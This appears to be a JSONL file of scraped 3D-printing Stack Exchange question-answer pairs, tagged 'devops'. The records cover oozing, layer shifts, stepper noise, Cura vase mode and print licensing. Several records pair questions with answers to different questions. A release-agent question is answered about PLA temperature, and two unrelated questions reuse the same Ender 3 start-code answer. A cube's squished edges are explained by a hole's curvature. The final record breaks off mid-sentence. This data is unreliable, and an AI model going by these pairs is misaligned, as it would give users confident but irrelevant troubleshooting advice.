{"id": "hf_af154e112e08", "question": "<p>Here is the sequence of my Gcode, printed in mid-air:</p>\n\n<pre><code>Print (E20)\nRetract (E-20)\nDwell (G4 10,000)\nMove away (E0)\nPrint (E20)\n</code></pre>\n\n<p>See the path on the printscreen below:\n<a href=\"https://i.stack.imgur.com/rbYqY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/rbYqY.png\" alt=\"enter image description here\"></a></p>\n\n<p>When the printer dwells it oozes. How can i stop that?</p>\n\n<p>I am using a WASP 3MT, pellet extrustion, 3mm nozzle, Marlin firmware, Gcode done on Silkworm for Grasshopper.</p>\n\n<p>Gcode around the dwell:</p>\n\n<pre><code>G1 F300 X-25 Y-25 Z30 E15.96\nG92 E0\nG1  F0 X-25 Y-25 Z30\nG1 F1000 X-25 Y-25 Z36 E-89.42\nG92 E0\nG4 P10000 \nG1  F0 X-25 Y-25 Z36\nG1 F1000 X-25 Y-25 Z32 E0\nG92 E0\n</code></pre>\n", "question_body": "", "answer": "Since you retracted the filament (very far), but stay at elevated temperature for almost 2 minutes, this must be left-over residue inside the nozzle/throat that is stuck to the wall that becomes liquid and oozes out of the nozzle because gravity pulls it downwards.\nThis answer\non the question\n\"Ender 3 extrudes plastic whilst at standstill, and while moving to start of print\"\nexplains the oozing problem in detail.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.206849"}
{"id": "hf_4d2a3c8bc969", "question": "<p>So I just got a Da-Vinci 3-in-1 Junior Pro 3D Printer, and was excited to start printing my first model.</p>\n\n<p>When I open my .STL File in the XYZWare that comes with the printer, and click print, it says that the cartridge inserted into my printer in not genuine, and that it won't print until I order a genuine cartridge. What is interesting is that the cartridge loaded into this printer came with the printer itself, so it is genuine.</p>\n\n<p>Is there something I am doing wrong? Here is a picture of the cartridge in my printer --></p>\n\n<p><a href=\"https://i.stack.imgur.com/cMo0l.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/cMo0l.jpg\" alt=\"This is how the cartridge is sitting inside the printer housing\"></a></p>\n\n<p>A Google search about this issue doesn't come up with any results that are of any use to me.</p>\n", "question_body": "", "answer": "A\nquick search on the internet\nshowed that your experiences are shared by others.\nApparently, it has something to do with a faulty chip or the software.\nFrom\nthis thread\n:\nI had the same thing, the cop on the underside of the cartridge wasn’t\nprogrammed properly, if you have the latest firmware update and it\nstill doesn’t work contact the seller and they should send you a\nreplacement chip\nI had this happen 2x. It ended up being that I had xyzware open.\nXyzware needs to restart in order to detect the new serial number of\nthe filament.\nYou could ask for support from your supplier or restart the XYZ software.\nYou could also\nhack\nthe NFC chip that is inside the spool. (\nDISCLAIMER\n:\nDo it at your own risk\n!)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.231210"}
{"id": "hf_c84913b16219", "question": "<p>I thought as a fun project to make my own 3D printer out of a normal printer parts + some parts out of old CD-ROM drives that are lying around. The printer of my choice is an HP PSC 1315 one.\n<a href=\"https://i.stack.imgur.com/aNHM2m.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/aNHM2m.jpg\" alt=\"HP PSC 1315 All-in-One Inkjet Printer\"></a></p>\n\n<p>But I have these questions:</p>\n\n<ol>\n<li><p>Does this printer users stepper motors or is using a combination of DC ones and some sort of position sensor?</p></li>\n<li><p>What kind of electronics and firmware I can use for this type of builds?</p></li>\n</ol>\n", "question_body": "", "answer": "No, Printers are not good sources\nCommon printers contain at best one stepper motor\nin the scanner\n, and it is usually too weak for use as an X or Y stepper, but for a very slow printer they might be useable, especially if you could source 2 or 4 of the same type.\nThe main motors in the printer are almost universally DC motors that get their turning signal as a voltage from the main board, which again uses positional information from an encoder strip/disk. Using both of these to make a 3D printer is usually not feasible.\nHowever, they usually have good rails (sadly often of non-standard diameter) and might be salvaged for a decent optical sensor. See also\nThomas Sanladerer's video\nabout this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.259350"}
{"id": "hf_05905313d83f", "question": "<p>I've recently purchased an Ender 3 and have had great success with some Cura settings found on a YouTube Tutorial at 0.2 mm resolution.</p>\n<p>So then I noticed that there were default settings in Cura for the Ender 3. Except printing at 0.2 mm it selects a 20 % infill, and when choosing 0.1 mm it changed the infill to 10 %.</p>\n<p>I changed infill to 20 % and attempted to print this but there were gaps in the bottom layer and it won't stick to the bed. Is there anything else I need to change in the process?</p>\n<p>The shape is essentially a cube with a circular hole in the middle, sliced in half.</p>\n", "question_body": "", "answer": "Basically you have 2 issues, first, an adhesion in combination with layer thickness problem, second, an infill problem.\nStarting with the infill issue, when you lower the layer height, without increasing the amount of layers for the \"Top/Bottom Thickness\", you get a very thin shell (unless the top bottom thickness is expressed in mm). A lower layer height should, because of the lesser amount of filament being extruded over the infill, should be accompanied with a higher infill value, but that is necessary for the top layers, your issue is with the bottom layer and adhesion. As said, a lower layer height also implies lower filament flow, for the first layer this lower flow causes an inconsistent flow to adhere the filament to the bed (probably caused by the gap between the nozzle and bed from leveling with a piece of paper). Most slicers will add some extra features to increase the change to get the filament to stick to the bed; one of those is an increased first layer height (e.g. in Ultimaker Cura, the first default layer height for Ultimaker 3 printers is laarger than the rest of the layers), others include modifying the flow by e.g. over-extruding for the first layer.\nYou could try to increase your first layer height to the value you create successful prints with, specify the thickness of the bottom and top (or increase the amount of layers for printing these) and increase the infill percentage.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.295971"}
{"id": "hf_1cb82d876145", "question": "<p>I built a cheap Delta printer with ATMega board and 1.8° motors. The micro stepping is limitied to 1/16. Beside a decent print quality, I observe a moire effect on flat surfaces. The moire is clearly caused by a combination of both, the 1.8° motors steps and the low microstepping. </p>\n\n<p>I thought about using 0.9° stepper motors together with a combination of board and drivers which support &lt; 1/32 micro stepping. Is there a comparison somewhere illustrating potential quality differences on larger delta printers and is this the way to remove the moire effect? For cartesian printers I would not bother using such motors, but I noticed that a higher holding torque at smaller steps is desirable for delta printers.</p>\n\n<p><strong>Example</strong> </p>\n\n<p>Not one of my prints, but this is how it looks \n<a href=\"https://i.stack.imgur.com/ao5PD.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ao5PD.png\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "Delta bots always need all motors to step to maintain a straight level.\nMicrostepping\n, is not magic, the\nincremental torque\ndecreases per step so that you will be more likely to miss a few micro-steps. Furthermore, the signal that creates voltages for the micro-step positioning is usually not perfectly sinusoidal (pulse-width voltage modulation is used to achieve micro-stepping by controlling the current; the driver sends two voltage sine waves, 90 degrees out of phase to the motor windings), micro-stepping drives can only\napproximate\na\ntrue sine wave\n. This means that some torque ripples, resonance, and noise remains and hence resulting in odd stepper behavior, like seen below from\nthis ref.\n(after the half step the stepper jumps to the full step and maintains that value for a while):\nThis is seen as a\nMoiré\npattern in your printed products. As an example, if the head is moved in Z direction by micro-step, you will almost certainly notice that the head doesn't move on every micro-step, but only every 3rd or 4th micro-step (as an example). When using higher resolution steppers like the 0.9° stepper motors, you will still miss micro-steps (e.g. the same, so also on every 3rd or 4th micro-step the head moves), but as the micro-step is half the size of that one of a 1.8° stepper motor, the accuracy as in precision and resolution is higher.\nIn that sense, if you change your stepper drivers for higher micro-stepping drivers (from 1/16 to 1/32 as you mention), it will not help you improve the resolution much because the incremental torque from one to another 1/32 micro-step is lower than for 1/16 micro-steps as can be seen in the figure below (taken from\nthis ref.\n).\nSo, using 0.9° motors (and keeping 1/16 micro-stepping) improves positioning accuracy as described above, it will also reduce the noise, because the torque per unit angular error is nearly doubled. Also remember that if you are using 8-bit electronics (you hint to an ATMega board), then even 1/32 micro-stepping burdens the processor to achieve reasonable travel speeds. With 8-bit electronics, it is usually suggested to use 1/16 stepping.\nUpgrading an existing printer from 1.8° to 0.9° stepper motors is probably not worth for the majority of users (note that the maximum allowable speed also reduces when using 0.9° stepper motors). Unless you are designing and building a new delta, or aren't on a tight budget you could opt for the additional costs of buying 0.9° stepper motors.\nNote that updating to higher micro-stepping values not necessarily implies that the quality of your products also increase. See e.g.\nthis reference\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.356090"}
{"id": "hf_f6e9a1d6db6d", "question": "<p>I am trying to print my first test but my Creality Ender 3 starts printing near the front edge and within 10 seconds is printing in front of the tray (off onto my table).  I really think it should be starting the print in the middle and then never going so close to the edge and even over it</p>\n\n<p>What can I do?</p>\n", "question_body": "", "answer": "When a print is not printing on the build platform, you either:\nHave the incorrect settings in the slicer (e.g. Ultimaker Cura,\na common mistake is that the \"origin at center\" option is active\n), or\nHave the center of the bed incorrectly stored in your firmware. (See:\nHow to center my prints on the build platform? (Re-calibrate homing offset)\nor\nRecalibrating Home-position\n).\nNote that the most simple change (after you verified the slicer settings and confirmed that it still does not print in the center) is adjusting the settings in the slicer (bed settings, of start G-code script), this way you do not need to compile and upload new firmware (e.g. if you are uncomfortable or inexperienced in doing so), but, fixing it in the firmware is the best solution. Why? If you change the offset in the slicer you force the bed dimensions to a new position that\nyou know\nwhere it is, while if changed in the firmware, the printer \"\nknows\n\" the actual size and the limits.\nTo fully answer your question, we need a little more information what slicer you use and what the current settings are. From your question it sounds as if the offset is more than a few millimeters. Usually this hints to an incorrect slicer setting (frequently Ultimaker Cura).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.381216"}
{"id": "hf_cd6ade585a1c", "question": "<p>I keep hearing about vase mode, but I have some problem figuring out how to set it up in my slicer; I use Cura slicer.</p>\n<p>So, I'd like to get some settings to do it in Ultimaker Cura, using PLA if the material is important, plus any advice on how to properly do it and ensure that the print retains it's shape on print.</p>\n", "question_body": "", "answer": "Vase Mode changed the name in some version before 3.5. Now you can achieve this with 2 modes: \"Surface Mode\" and \"Spiralize Outer Contour\". To turn it on do this:\nChoose the Custom setting menu on the right\nclick a gear to set up what settings you want to see\nUnder the header \"Special Modes\" you find both Surface Mode and Spiralize Outer Contour\nset the checkmarks on both\nTurning on the Surface mode to\n```\nSurface\n```\nand checking\n```\nSpiralize Outer Contour\n```\ngets the \"classic\" Vase Mode.\nTurning on\n```\nSurface\n```\nwithout\n```\nSpiralize Outer Contour\n```\ngets an infill-less outer perimeter\nNow, the\nclassic\nVase mode will only print the\nsingle most outer perimeter\nof a print, so your model will have to be very limited with angles and contain no bridges - with one perimeter, you will only be able to print at best 45° angles!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.469472"}
{"id": "hf_d22d49821fcd", "question": "<p>We're printing on a WASP 3MT pellet extruder with PLA. To save time, we're leaving the hotend at 160&nbsp;°C between prints but realized that the print quality varies, from one print to the another, when using the same G-code file. </p>\n\n<p>Could it be that leaving the temperature at 160&nbsp;°C constantly creates more fluid PLA and therefore affects the following print?</p>\n", "question_body": "", "answer": "PLA starts to change its properties at above its glass transition temperature of 60-65 °C, if stored there too long. Keeping it at 160°C, close to the melting temperature (173-178 °C) can degrade the material relatively rapidly. During an extrusion, this is usually mitigated by filling fresh material into the melt while the older material gets extruded, but keeping the machine stagnant at the high temperature has not only creep the heat up from the designated melt zone (thus preheating material that should not be preheated yet) but also can damage the material deep in the melt zone. Together with this possible material degradation, the preheated material melts faster and might overshoot the aimed at print temperature until the normal temperature is reached again. Both effects can lead to reduced print quality in the lower layers.\nThe time saving from keeping the filament heated up for an extended period of time is,\nin my opinion\n, not worth the quality reduction that can come from using non-uniform material. You pay\nmore\nin lost prints than you save in time for heating up the head.\nIf it is impossible to not keep the hotend heated between prints, it might be advisable try these:\nStarting every print with a larger purging operation might get rid of degraded material. It would be as simple as extruding some quantity of material before starting the actual print at the edge of the build plate.\nAside from purging, it might be a good idea to reduce the hold temperature from 160 °C to a lower temperature, allowing the melt to partly solidify and keep the heat creep in check.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.504704"}
{"id": "hf_74b5c238df46", "question": "<p>Is a home 3D printer capable of printing a good bicycle air pump?</p>\n\n<p>I've searched the Internet and there is very limited info on it. Things need to be rigid and very minutious in the valve part of the pump. I could give an example of what I thought in the image <a href=\"https://i.stack.imgur.com/cFuku.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cFuku.jpg\" alt=\"enter image description here\"></a> </p>\n", "question_body": "", "answer": "depends\nYou certainly can print\nparts\nof\na\nbicycle pump, for example, the outer case and maybe the inner piston, maybe even the housing for the connection valves.\nHowever, you cant print the buffer spring or the valves itself. You will have trouble printing the adapters. And you will have to print in ABS to smooth the inside of your pump with acetone vapor, so you have a smooth surface that forms an air seal under operation.\nIt would be cheaper and more durable to just print just the fittings and use a PVC Pipe as the cylinder itself.\nAs in all things, if this is a\ngood\npump depends a lot on design and your machine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.534133"}
{"id": "hf_b32f1ba38c00", "question": "<p>I've just printed my very first part and it did not want to come loose from the build plate, it fact, it just broke instead.</p>\n\n<p>I can heat the bed up again and work it off, but I wondered if a release agent would be better?</p>\n\n<p>I have a silicon release spray (like those use with molds).  Could I spray the base with that before starting printing?</p>\n", "question_body": "", "answer": "PLA should not be printed at 235 °C. If your printer requires such high temperatures to make the filament very fluid, you have too much friction in your system, e.g. this can be caused by clogs or too low layer height printing the first few layers. Note that such high temperatures are also a cause for obstructions as the filament can carbonise creating clogs. On the other side, too low temperatures also cause too much friction or resistance.\nThe sound you are hearing is often referred to as \"clicking\" and can be caused by steps being missed or the extruder hobbed gear to skip back as a result of the friction/resistance.\nNow that clicking is introduced, please look into\nthis answer\nand\nthis answer\nto answer your problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.666332"}
{"id": "hf_8170c5235297", "question": "<p>While printing a simple model, my printer starts to layer-shift the build in a direction suddenly. I used the default setting for ultimaker Cura 3.4.1. It has done this same thing for multiple different prints. I would guess it is the software. </p>\n\n<p>How do I fix the issue?\n<a href=\"https://i.stack.imgur.com/xVXO2.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xVXO2.jpg\" alt=\"ultimaker cura image\"></a>\n<a href=\"https://i.stack.imgur.com/pDCZm.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pDCZm.jpg\" alt=\"3D printed object\"></a></p>\n", "question_body": "", "answer": "You have a case of layer shift. Layer shifts happened to me in 3 ways:\nThe movement of the axis is hindered. Check if all cables run freely and without any chance to catch! improper cable chains can cause binding and stop the printhead or bed in movement and thus induce a shift.\nThe acceleration might be too fast. Shift the acceleration of the printer movements down a notch. Don't print faster than ~60 to keep the acceleration in check, as the printer will try to reach the top speed as fast as possible, thus limiting top speed also limits acceleration.\nThe model might be broken. Re-slice the model\njust in case\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.690877"}
{"id": "hf_860e16a25a91", "question": "<p>Some prints take a long time and, as I'm not in a workshop, I need to pause the print sometimes.</p>\n\n<p>Are there any special considerations I should take when pausing, or can I literally just click pause, leave it for twelve hours or so, and it'll continue without any ill effects?</p>\n\n<p>I'm using PLA at present.</p>\n", "question_body": "", "answer": "If you keep the head hot during the pause, and over the print, you will melt the material already deposited.\nIf you move to X0 Y0 (like on a layer change) and pause there, you can cool off the head (or not), but will want to prime (advance) some material before resuming your print - or risk an initial void, as the heated material will expand and drip to some extent.\nIf you move to X0 Y0, retract, and cool off for your pause, you should be able to heat up, advance, and resume with few issues. You will probably still need to some manual cleaning where the resume was, as there is likely to be some buildup.\nAlso, if you let the bed cool during your pause, your print may become unstuck from the bed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.714977"}
{"id": "hf_d9f0162df2ad", "question": "<p>Why is it that if I execute a gcode command that causes the stepper motor to turn in reverse (any negative move on the X axis), after the step it will emit a high pitched whine until it gets another command to rotate in its forward direction?</p>\n\n<p>Executing multiple reverse commands will cause the tone to vary in frequency each step, and always it goes away after another step in the opposite (forward) direction. </p>\n\n<p>Sometimes.</p>\n\n<p>And other times it does it in both directions, but only on every other step. One step +X its there, next step its gone, next step its back, and so on...</p>\n\n<p>Then they also make a different noise when idle, before I disable them with the \"disable steppers\" command.</p>\n\n<p>What are these noises?</p>\n\n<p>And is it bad to leave the motors in this state? Will it burn them out?</p>\n", "question_body": "", "answer": "this is normalISH for stepper motors. they have a fair ammount of current pulsing through them at relatively high frequencies, coils and other parts that will vibrate. if it quite loud you can look into the boards that drive them, depending on your printer they are replaceable, and better 'drivers' send cleaner signals that make less noise. however: if your motors get hot or start making clicking noises, or stop randomly, or acting up more significantly, you should look adjusting how much current they are getting. search for stepper motor calibration, basically you need to adjust the ammount of current the motors are getting, but if the machine prints normally, then this is not something you want to play with. you can also probably find the data sheet for your motor, they are usually rated to operate up to about 50C", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.751362"}
{"id": "hf_022ea5e13ee6", "question": "<p>The first layer is very patchy indeed.  I've calibrated the build plate pretty accurately but even if it was a badly calibrated build plate I don't think it would have this effect.</p>\n\n<p><a href=\"https://imgur.com/S4KsNA3.png\" rel=\"nofollow noreferrer\"><img src=\"https://imgur.com/S4KsNA3.png\" alt=\"Patchy First Layer.\"></a></p>\n\n<p>It doesn't <em>seem</em> to have a negative effect on the print.</p>\n\n<ol>\n<li>Should I be concerned about this? </li>\n<li>Is this due to a the build plate fault?</li>\n</ol>\n", "question_body": "", "answer": "First things first:\nDon't Panic\nYour heated bed is made from metal with some sort of Build-Tak-Clone surface. It is not broken from what I can see. Your print is\nnot failed\n, however, the quality does suffer a little bit.\nYour bed does warp a little under heating. That is perfectly\nnormal\n, and you should actually calibrate your layer thickness against a hot heatbed, not a cold one as metal that is heatbed extends - especially over the heating elements. The main heating element is usually in the center, so it \"bulges\" a little there, and if the heat has not equalized everywhere, it can show a dimple around it. So it warps slightly. The extent of the warping is determined by a couple factors, but from what your print looks like, it is not in a worrisome amount - the second and third layers will even it out.\nI can't tell how much time passed between reaching the print temperature of the bed and the start of the print, but you might want to make sure  the heating behavior heats the bed\nfirst\nand the hotend\nsecond\n, allowing the heat energy in the bed to spread more evenly. A tiny\n```\nG4 P20000 ; wait 20 seconds\n```\n(see here)\n` in the pre-print code, before\ncleaning & priming\nthe nozzle might also help.\nYou can try to get more even first layers by positioning the parts in areas that do not suffer from warping.\nAs\nTom\nmentioned, you might get better base layers if you increase the first layer thickness. I usually print with about 0.15 to 0.2 mm for the first layer,\nregardless\nof the following layer thickness to even out small miscalibrations and unevenness in the heating.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.798523"}
{"id": "hf_27675803a11b", "question": "<p>I have a 3D printer at home, the Colido Compact, and for some reason when I 3D print big flat surfaces a really weird thing happens. I'm using some PLA from Colido too I think</p>\n\n<p><a href=\"https://i.stack.imgur.com/QOMPF.jpg\" rel=\"nofollow noreferrer\" title=\"Weeeird surface artefacts\"><img src=\"https://i.stack.imgur.com/QOMPF.jpg\" alt=\"Weeeird surface artefacts\" title=\"Weeeird surface artefacts\"></a></p>\n\n<p>It almost seems as if the bottom layer does perfectly but when it starts printing out the top surface this happens, because the one on the bottom left is in two parts because the upper part is the bottom one and that one is perfectly flat, then I took them apart and the weird thing just stayed with the top part... and also on the weird warps there are bits of brown goo or something? I don't know it looks as if the filament was burned...\nIt only appears on pretty big surfaces because smaller ones don't seem to have the problem.</p>\n\n<p>Anyone knows what is happening?</p>\n", "question_body": "", "answer": "The oozing is due to hot-end getting hot before the bed leveling procedure: if you move the hot-end warm up command\nafter\nthe\n```\nG29\n```\nline you avoid that oozing\n```\n```\n; Ender 3 Custom Start G-code\nM104 S{material_print_temperature_layer_0} ; Set Extruder temperature\nM140 S{material_bed_temperature_layer_0} ; Set Heat Bed temperature\nG28 ; Home all axes\nG29 ; BLTOUCH Mesh Generation\nM190 S{material_bed_temperature_layer_0} ; Wait for Heat Bed temperature\nM109 S{material_print_temperature_layer_0} ; Wait for Extruder temperature\nG1 F1800 E-3 ; Retract filament 3 mm to prevent oozing\nG92 E0 ; Reset Extruder\nG1 Z5.0 F3000 ; Move Z Axis up little to prevent scratching of Heat Bed\nG1 X0.1 Y20 Z0.3 F5000.0 ; Move to start position\nG1 X0.1 Y200.0 Z0.3 F1500.0 E15 ; Draw the first line\nG1 X0.4 Y200.0 Z0.3 F5000.0 ; Move to side a little\nG1 X0.4 Y20 Z0.3 F1500.0 E30 ; Draw the second line\nG92 E0 ; Reset Extruder\nG1 Z5.0 F3000 ; Move Z Axis up little to prevent scratching of Heat Bed\n```\n```\nThe above code will activate the heating elements but starts homing and leveling procedure without waiting for the elements to get up to temperature. Only after the bed leveling is finished the printer will pause and wait for the heating elements reach the desired temperature.\nThis will prevent oozing on a cold start, but you will still be affected if you start a print right after another print, when the hot-end is still close to  melting temperature.\nIf you prefer to avoid that condition you might want to also move the\n```\nM104\n```\nand\n```\nM140\n```\ncommands after the\n```\nG29\n```\nbed leveling command.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.835169"}
{"id": "hf_d93d7835486a", "question": "<p>I printed out this calibration shape from <a href=\"https://www.thingiverse.com/thing:2656594\" rel=\"nofollow noreferrer\">Thingiverse</a> with an unexpectedly catastrophic failure.  It looks like there are <em>a lot</em> of things wrong here.</p>\n\n<p><img src=\"https://i.stack.imgur.com/V7QlZ.jpg\" alt=\"Front View\">\n<img src=\"https://i.imgur.com/assIZiQ.png\" alt=\"Side View\"></p>\n\n<p>I used the <code>Normal</code> profile in Ultimaker Cura.</p>\n\n<p>There's so much bad in this print that I'm not sure where to start.</p>\n\n<ol>\n<li>It appears that walls weren't printed at all.  </li>\n<li>Resolution is way below par.  </li>\n<li>Overhangs are collapsing (not sure if that would be expected at those angles)</li>\n<li>The in-filling is inconsistent and \"blobby\".</li>\n</ol>\n", "question_body": "", "answer": "The oozing is due to hot-end getting hot before the bed leveling procedure: if you move the hot-end warm up command\nafter\nthe\n```\nG29\n```\nline you avoid that oozing\n```\n```\n; Ender 3 Custom Start G-code\nM104 S{material_print_temperature_layer_0} ; Set Extruder temperature\nM140 S{material_bed_temperature_layer_0} ; Set Heat Bed temperature\nG28 ; Home all axes\nG29 ; BLTOUCH Mesh Generation\nM190 S{material_bed_temperature_layer_0} ; Wait for Heat Bed temperature\nM109 S{material_print_temperature_layer_0} ; Wait for Extruder temperature\nG1 F1800 E-3 ; Retract filament 3 mm to prevent oozing\nG92 E0 ; Reset Extruder\nG1 Z5.0 F3000 ; Move Z Axis up little to prevent scratching of Heat Bed\nG1 X0.1 Y20 Z0.3 F5000.0 ; Move to start position\nG1 X0.1 Y200.0 Z0.3 F1500.0 E15 ; Draw the first line\nG1 X0.4 Y200.0 Z0.3 F5000.0 ; Move to side a little\nG1 X0.4 Y20 Z0.3 F1500.0 E30 ; Draw the second line\nG92 E0 ; Reset Extruder\nG1 Z5.0 F3000 ; Move Z Axis up little to prevent scratching of Heat Bed\n```\n```\nThe above code will activate the heating elements but starts homing and leveling procedure without waiting for the elements to get up to temperature. Only after the bed leveling is finished the printer will pause and wait for the heating elements reach the desired temperature.\nThis will prevent oozing on a cold start, but you will still be affected if you start a print right after another print, when the hot-end is still close to  melting temperature.\nIf you prefer to avoid that condition you might want to also move the\n```\nM104\n```\nand\n```\nM140\n```\ncommands after the\n```\nG29\n```\nbed leveling command.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.859515"}
{"id": "hf_59c012b01852", "question": "<p>My Anet A8 suddenly had issues with being unable to heat the bed. After ruling out software issues, I disconnected the connector and found this (sorry for the terrible quality):</p>\n\n<p><a href=\"https://i.stack.imgur.com/7WYfE.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7WYfE.jpg\" alt=\"Faulty connector: left male, right female, indicator on the burnt pin\"></a></p>\n\n<p>The left most pin on the male connector (bed) is also charred. How could I best repair this?</p>\n", "question_body": "", "answer": "New Bed (Connection)\nYou will at least need a new female connector, but as the connector burnt, you have some underlying problem that made the connector burn in the first place: either the board is sending bad signals to the bed, or the bed is not rated for the board or you\njust\nhad a faulty connector (the most usual culprit). Honestly? Replace the whole connector for a properly rated and intact pair - these pin connectors are not rated for 12 V at all but for 5 V!\nIf you don't use a beefier connector, solder the wires\ndirectly\nto the bed.\nSafety first!\nAnet isn't known for good firmware implementation of safety, so make twice sure that you\nrun a firmware that has Thermal Runaway Protection enabled!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.924578"}
{"id": "hf_41103a380b68", "question": "<p>I printed a test cube with ABS on my Ender 3 and after some tuning, I still have a problem I cannot solve. Two of the vertical edges (I believe they are the ones on the X+ side) are slightly squished in. Could this be due to warping or something else? I printed it at 0.1 mm layer height, 235/110 °C hotend/bed temperatures.</p>\n<p>Here is a picture:</p>\n<p><a href=\"https://i.stack.imgur.com/A45Rn.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/A45Rn.jpg\" alt=\"enter image description here\" /></a></p>\n", "question_body": "", "answer": "I think this is caused by the shape of the hole. The shape is parabolic or circular, this means that if you slice it as in the green part, the slicer determines the placing of the layers along the curvature. If it has a shallow curvature, and slicing layer height is relatively thick, the curvature of the object cannot be followed. But, if you have more than 1 top layer, this usually should not be visible. I don't think that you have a single layer, so this is a pretty odd anomaly that I have not seen yet (that you look at the infill without top layers).\nYou could get past this by using a local different infill, e.g. 100 % infill. You can look at\nthis answer\nof\nthe question: \"Different infill in the same part\"\n. This should help you out printing in your preferred orientation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.960582"}
{"id": "hf_eab09515c456", "question": "<p>Can I Print models from Sources like <a href=\"https://www.thingiverse.com/\" rel=\"noreferrer\">Thingiverse</a> and sell them ?\nI will be only charging the print costs and will provide full credits and attributes to the original creator of the model (with links to their profiles) in my web-page.</p>\n\n<p>There are websites like <a href=\"https://www.3dhubs.com/\" rel=\"noreferrer\">3dhubs</a> where the seller will print any file the user uploads. Similarly I want to charge only for the printing services. </p>\n", "question_body": "", "answer": "I've informed myself a bit about this and found out the following:\nIt is good that you state the Name/Website or any Reference about original creator\nCreative Commons absolutely requires this, even if you don't charge anything for your prints.\nSo, whether you are trying selling your print or not, you should still always do this.\nYou are not allowed to sell your prints\nCreative Commons License dictates that you are not allowed to commercialize products that are based on any of their sources. This means, even if you are only charging the printing costs, you are not allowed to sell them, as you are profiting of their sources because you did not design the prints yourself.\nFor further information on this, you should probably check out the official page for 